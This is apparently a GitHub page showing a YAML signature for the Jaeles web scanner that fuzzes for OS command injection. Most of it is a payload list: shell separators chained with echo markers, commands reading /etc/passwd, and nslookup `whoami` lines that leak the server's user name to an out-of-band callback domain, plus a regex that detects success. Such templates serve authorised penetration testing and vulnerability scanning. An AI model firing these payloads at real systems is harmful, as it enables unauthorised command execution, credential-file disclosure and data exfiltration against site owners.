forked from ghsec/ghsec-jaeles-signatures
-
Notifications
You must be signed in to change notification settings - Fork 0
/
OS_command_injection.yaml
48 lines (44 loc) · 1.75 KB
/
OS_command_injection.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# info to search signature
id: fuzz-OS-Comman_injection
type: fuzz
info:
name: OS Commaind Injection Fuzz
risk: High
Author: Gocha Okradze
# origin: gonna come from Burp
params:
- ssrf: "{{.oob}}"
# origin: gonna come from Burp
payloads:
# OS Comman Injection:
- 'echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- '%20echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- ';echo%20echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- '&echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- '|echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- '||echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- '&&echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- '%0aecho%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- '%3Becho%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- '%26echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- '%26%26echo%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- '%7Cecho%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- '%7C%7Cecho%20AGIYMZ$((282037%2B31337))$(echo%20AGIYMZ)AGIYMZ'
- '%26%26cat${IFS}/etc/passwd'
- '%26%26cat /etc/passwd'
- 'nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
- ' nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
- ';nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
- '&nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
- '|nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
- '||nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
- '&&nslookup `whoami`.{{.Domain}}.rce.{{.ssrf}}'
requests:
- redirect: true
- generators:
# Change exist content type or adding new one
- Query("{{.payload}}")
- Body("{{.payload}}")
detections:
- >-
RegexSearch("response", "root:[x*]:0:0:|AGIYMZ313374AGIYMZAGIYMZ")